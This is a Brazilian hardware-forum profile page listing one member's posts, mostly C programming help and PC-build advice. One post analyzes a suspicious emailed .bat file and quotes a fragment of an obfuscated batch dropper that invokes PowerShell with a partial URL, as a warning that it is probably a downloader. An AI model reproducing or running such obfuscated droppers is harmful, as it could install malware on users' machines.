Ir ao conteúdo

Fernando Mercês

Membro VIP
  • Posts

    2.305
  • Cadastrado em

  • Última visita

Tudo que Fernando Mercês postou

  1. Muito obrigado pelas sugestões, @GenesisG7! Já troquei todas as peças que recomendou na minha lista. Achei as memórias mais baratas até. Vou tentar ver individualmente em diferentes lojas se consigo promoções, como recomendou. A RX 580 tá R$ 1.699,90. Bem puxado. Abraço!
  2. Aí amigos, o que acham? Processador AMD Ryzen 5 1600, Cache 19MB, 3.2GHz (3.6GHz Max Turbo), AM4 Placa-Mãe Gigabyte B450M DS3H, AMD AM4, mATX, DDR4 Placa de Vídeo Asus Arez Dual AMD Radeon RX 580 OC Edition, 8GB, GDDR5 - AREZ-DUAL- Memória Corsair Vengeance LPX, 16GB (2x8GB), 3000MHz, DDR4, CL16, Preto SSD Kingston A400, 480GB, SATA, Leitura 500MB/s, Gravação 450MB/s Fonte Corsair 650W 80 Plus White VS650 - CP-9020172 R$ 4.774,13 já com o frete. Aí depois me viro com teclado, mouse, gabinete, etc... Parece ok pra vocês? Tipo, tudo compatível? Abraço e obrigado pela ajuda!
  3. Oi Leticia! Valeu por responder. Não tenho absolutamente nada.
  4. Salve, galera, tudo bem? Tempo que não venho aqui, mas não conheço comunidade melhor no que diz respeito à hardware. Hoje eu quase comprei essa oferta, mas vi uma galera aqui dizendo pra não cair nessas lojas de prateleiras. Só que eu tô ultra, mega desatualizado do que tá rolando no mundo do hardware e por isso vim pedir a ajuda de vocês para montar um PC para jogos que eu não precise trocá-lo por pelo menos um ano e meio, dois. Será que com uns 4 mil daria pra rodar um Fortinite no máximo? Queria garantir que a próxima versão desse jogo rodasse, por exemplo. E onde vocês compram atualmente? Online mesmo? Quando eu montava eu comprava na A1 Network Trading mas fui ver e nem existe mais. Que bom, pois demorava mais de um mês pra chegar num container chinês. kkkk Grande abraço!
  5. Tá bem legal, cara. Parabéns! Já tá bem menor né? Quer parar por aí? Porque eu tenho mais sugestões! haha Como você tá inicializando o array, não precisa dizer quantos elementos ele terá. O compilador calcula pra você, mas você vai ter que usar a notação de ponteiro junto, ficando *mes_por_extenso[]. Se você reparar, o mes-1 bate com a posição da string certa no array então você não precisa do loop. Se você fizer mes_por_extenso[mes - 1] já vai funcionar sempre, percebe? Se o mês é Março (3), por exemplo, vai pegar a posição 2 do array (mes - 1), sem precisar do laço. Dá pra fazer tudo na main(). O retorno da main() é interessante que seja int. Aí você põe um return 0 no fim dela. Você não precisa mais da string.h nem da stdlib.h. Você não precisa mais dessa char data[11] também, porque agora já tá lendo direto para os inteiros com a scanf(). Como int é o tipo padrão do C, você não precisa informá-lo ao declarar uma unsigned. Dá pra declarar todas com uma só linha também: unsigned dia, mes, ano; Enfim, seu código tá muito legal. Só tô seguindo com as sugestões porque to admitindo que você tá curtindo implementar. Não encare como crítica, ok? Em programação existem infinitos jeitos de se resolver um problema e não tem essa de certo e errado a meu ver. Grande abraço!
  6. Relaxa. O assunto é extenso à beça hehe. Por que você não faz o seguinte: quando terminar e funcionar do seu jeito, avisa e volta aqui. Aí a gente discute alguns jeitos de melhorar, pra aprendermos ainda mais.
  7. Verdade. E ó, olhando bem esse programa dá pra ser muito pequeno. hehe Acho importante você seguir com sua linha de raciocínio, mas depois que terminar, vale observar essas sugestões minhas e do @isrnick. Tenho mais algumas ó: Usar unsgined int ao invés de int, já que todos esses inteiros aí não podem ser menor que 0 (dia, mês, ano). Isso vai requerer o modificador %u ao invés do %d. Criar um array de strings para os meses e depois exibir diretamente o mês correto usando array[mes - 1]. Teu código vai ficar bem mais limpo, rápido e você vai economizar 12 if's/switch's. Adicionar um tratamento de erro para dia/mês inválido. Abraço!
  8. Em tempo, você pode usar o %d pra ler direto um inteiro usando a scanf(), assim você não precisa ficar convertendo de string: #include <stdio.h> int main(int argc, char *argv[]) { int dia, mes, ano; scanf("%d-%d-%d", &dia, &mes, &ano); printf("dia: %d\nmes: %d\nano: %d\n", dia, mes, ano); return 0; } Veja: $ ./data 17-05-2018 dia: 17 mes: 5 ano: 2018 Valeu!
  9. A printf() tá dentro do bloco do switch. Só tirar. Abraço!
  10. De fato, nenhuma extensão "é vírus" por si só, mas este arquivo está bem estranho e acho que ele perdeu a formatação quando você colou seu conteúdo aqui no fórum. De repente se você editar e usar um bloco de código (botão <>) vai melhorar. Ou você poderia comprimir este arquivo com uma senha e anexar aqui (mas não sei se o fórum ou suas regras permitem). Bem, eu fui ajustando o arquivo aqui e realmente ele tenta executar algo: C:\Windows\System32>Set data= ZPC(" 7Pl(a Pn-WO TIXm aPm.Q IOrsZ Ia ). 4nas 4f 1 GZUq( 'p 1:// hzg.I hZ4qI .r4g/ ?hghZ dHM8S AS 7 ThEWp DOJni 7o s qB KS drIk6 Lma9z wxsjO ahikQ 1nvb0 4V x7 MHI6N Td/ n gpXr kPi4q TDz7+ MOr+/ NrmtL A3 kSJ Tl K zQ='; )"); echo %data% | nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI -a4 - QZa k 'nZah4Q1t4QIDEpIzz\dk.j\' is not recognized as an internal or external command, operable program or batch file. Parece ter algum bug, ou eu não descobri ainda como desofuscar totalmente. Somando essa clara intenção de ocultar o que o script faz com o fato de receber um .bat anexo num e-mail, eu diria que não é confiável e tem grandes chances de ser vírus mesmo. UPDATE: Pelo padrão depois do pipe (|), deduzi que este .bat chama o PowerShell e parece que eu estava certo. A string nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI parece ser decodificada para WindowsPowerShell\v1.0\PowerShell.exe, que tá embaixo da %SystemRoot%\System32, o que bate com o primeiro comando deste .bat. Ou seja, este .bat de fato chama o PowerShell, provavelmente para baixar um malware (ainda tem o padrão parecido com uma URL em 1://), o que me faz pensar que este .bat é um dropper/downloader. Se você tiver o arquivo intacto do jeito que recebeu posso tentar ajudar mais. Abraço.
  11. A função isdigit() tá no header ctypes.h e não em stdlib.h, logo, segundo o enunciado do seu exercício você não pode usar. Parece que parte do que seu professor está pedindo, é justamente implementar uma função análoga, não usar uma pronta. Pelo menos é o que faz sentido pra mim, já que isso é um exercício. Você vai precisar entender a tabela ASCII pra fazer isso, creio. Abraços, Fernando
  12. Tamo junto! Eu acho que a mensagem LB_ADDSTRING só deixa adicionar um item mesmo (que acaba na quebra de linha). Acho que você vai ter que chamá-la várias vezes. Por isso falei da fgets(), que você chama várias vezes também, aí lê linha por linha e já fica pronto pra passar pra SendMessage(). Ou fscanf()? Pra ser honesto, não sei qual a melhor solução pro seu caso. Cada item vai estar numa linha? Em qual formato? Sorry, eu raramente trabalho com arquivos de texto.
  13. É que abrir é diferente de ler. Até agora, pelo que vi no seu código você só abre os arquivos, não lê seu conteúdo. Pra ler tem que usar ReadFile() ou fread(). Por exemplo, se você fizer assim, vai funcionar: case IDC_BUTTON_LIST: { estoque = fopen ("estoque.txt","r"); char buff[255]; fread(buff, 1, 255, estoque); SendMessage(gProductList, LB_ADDSTRING, 0, (LPARAM)buff); fclose(estoque); } break; Só que isso não tá bom, nem certo. rs O lance é que ler linhas em C é chato mesmo. Acho que mais coerente seria usar a fgets() e você tem que saber o tamanho máximo da linha, de qualquer forma. Mas eu ainda acho que a API do Windows pura poderia fazer tudo. Bem, tu que sabe... Abraço!
  14. Não entendi. As cores serão items dentro do ListBox? É só escrever em Português, não? Agora, pra fazer funcionar é outra história... Vai ter que adicionar código no evento SelectedIndexChanged do ListBox. Abraços!
  15. Seguindo a lógica que você seguiu, teria que usar a fread() antes de fechar o arquivo com a fclose(). No entanto, tem conceitos misturados aí. Você tá usando as funções da API do Windows e misturando com as da biblioteca C padrão (fopen(), fread(), fclose(), etc). Seria mais legal usar as do Windows mesmo (CreateFile(), ReadFile(), WriteFile(), CloseFile(), etc), mas claro, nada impede de você seguir na sua lógica. Aqui tem um exemplo usando as funções do Windows: Opening a File for Reading or Writing, mas vê aí que a gente se ajuda por aqui. Abraços!
  16. Acho que o problema é que o @rogério dos santos araujo matou a antiga main() do programa quando colocou o código dele e agora ela termina sem o programa chamar as outras funções. Eu não sei como é a main() original, mas aparentemente algo assim resolveria: int main(int argc, char *argv[] { FILE *fp = fopen("C:\\arcade\\arcade1.exe", "rb"); if (fp == NULL) { printf("Game over\nTry again\n"); exit(1); // o melhor é sair com 1 neste caso, pois é erro... } fclose(fp); return os_main(argc, argv); } Se não rolar, posta o código original aqui. Se puder usar o https://pastebin.com melhor ainda, pois é bem grande pra ver no espaço deste tópico (tem highlight de C lá!). Abraço!
  17. Opa, Você precisa instalar o pacote libncurses-dev, que tem a curses.h. E faltou informar para o gcc o nome do seu programa (do seu arquivo .c): $ sudo apt-get install libncurses-dev $ gcc -o lerub lerub.c -lncurses Em tempo, é bom se acostumar a usar as opções -W e -Wall do gcc pra ver se tem mais erros no programa. Veja: $ gcc -W -Wall -o lerub lerub.c -lncurses lerub.c: In function ‘main’: lerub.c:36:59: warning: unused variable ‘c’ [-Wunused-variable] int c = getch(); ^ lerub.c:8:10: warning: unused parameter ‘argc’ [-Wunused-parameter] main(int argc, char *argv[]) ^ lerub.c:8:22: warning: unused parameter ‘argv’ [-Wunused-parameter] main(int argc, char *argv[]) ^ lerub.c: In function ‘finish’: lerub.c:45:24: warning: unused parameter ‘sig’ [-Wunused-parameter] static void finish(int sig) ^ Tem várias variáveis não utilizadas em seu código. Se você ainda tiver desenvolvendo e for utilizá-las mais tarde, tudo bem, mas se não, pode removê-las. :-) Abraços!
  18. Não é bem erro, mas assim você está "roubando" rsrs. Isso porque seu programa em C chama o comando tasklist, e este faz o trabalho. Imagino que o seu professor tenha pedido é pra usar a Windows.h, como o início do tópico sugere e se você entregar assim, pode ganhar zero porque não fez o que ele pediu ou 10 por ter "pensado fora da caixa", não sei. rs Um exemplo de uso da EnumProcesses() pode ser visto aqui. Veja que ela não resolve tudo, é preciso mais código para de fato imprimir uma lista com nomes e PIDs dos processos. Tem mais sobre o assunto em Process Enumeration. Abraços!
  19. Eu gosto do MV RegClean. É nacional.
  20. Legal! Parabéns por dar os créditos ao autor original e por compartilhar conosco! Gostaria de deixar uma dica caso precise somente forçar a instalação do pacote deb, sem modificar as dependências que é com a opção --force-depends do dpkg. Outras opções do gênero podem ser vistas com --force-help. Abraço!
  21. É só usar as funções de data do C. Google? http://www.cplusplus.com/reference/clibrary/ctime/strftime/
  22. Uma versão mais enxuta: int conta_vogais(const char * s) { int i, num = 0; char vogais[10] = "AaEeIiOoUu"; while (*s) { for (i=0; i<10; i++) if (*s == vogais[i]) num++; s++; } return num; } PS.: Não precisa colocar tags no título do tópico, como é o caso de "[Ajuda]". Não temos esse costume aqui. Abraço!
  23. Além de não ser um recurso de segurança, a verdade é que o CAPTCHA é chato! Se a D-Link colocar em cada página de configuração do roteador, configurar o roteador exigirá muita paciência. É interessante ver a D-Link falando de segurança, sendo que este assunto nunca foi seu ponto forte. Nunca vi CAPTCHA em produtos de empresas que são mais respeitadas em termos de segurança. Em minha opinião, a vantagem da D-Link é a relação custo/benefício. Se a preocupação é com segurança, isso poderia ser amenizado com o uso de teclados virtuais, expiração de senha, SSL, SSH (ao invés do tenebroso Telnet) e contas não-administrativas que não tenham permissão de alterar configurações mais sérias do roteador. Não vejo necessidade de um CAPTCHA chato em cada página. Talvez um ao logar-se com a conta administrativa máxima seja bem-vindo, mas só um. Quanto à alteração de configurações sem necessidade de login, bem, não vi isso ainda com os D-Link. Já vi produtos da Siemens onde o firmware pode ser baixado via TFTP (que não exige autenticação) e a senha fica armazenada em texto puro, hardcoded no binário baixado. Não acredito que a D-Link conceda uma falha deste teor em seus firmwares à esta altura do campeonato. Enfim, espero que esta ideia da D-Link seja só uma ideia.
  24. Não aparecer no Explorer pode ser só a tabela de partições corrompida. Você pode usar o Acronis Disk Director para tentar corrigí-la, no entanto, uma queda é uma queda e recuperação em laboratório é bem caro mesmo. Se ele é de backup, pode comprar outro. Não se confia um HD que levou um tombo deste jeito para armazenar backups, mesmo que ele volte a funcionar. Em tempo, você não tem que pagar nada à sua empresa, não existe lei trabalhista que afirme isso. Foi um acidente de trabalho. Converse [numa boa] com seu chefe.
  25. Creio que seja preciso instalar o VMware Tools.

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...

LANÇAMENTO!

eletronica2025-popup.jpg


CLIQUE AQUI E BAIXE AGORA MESMO!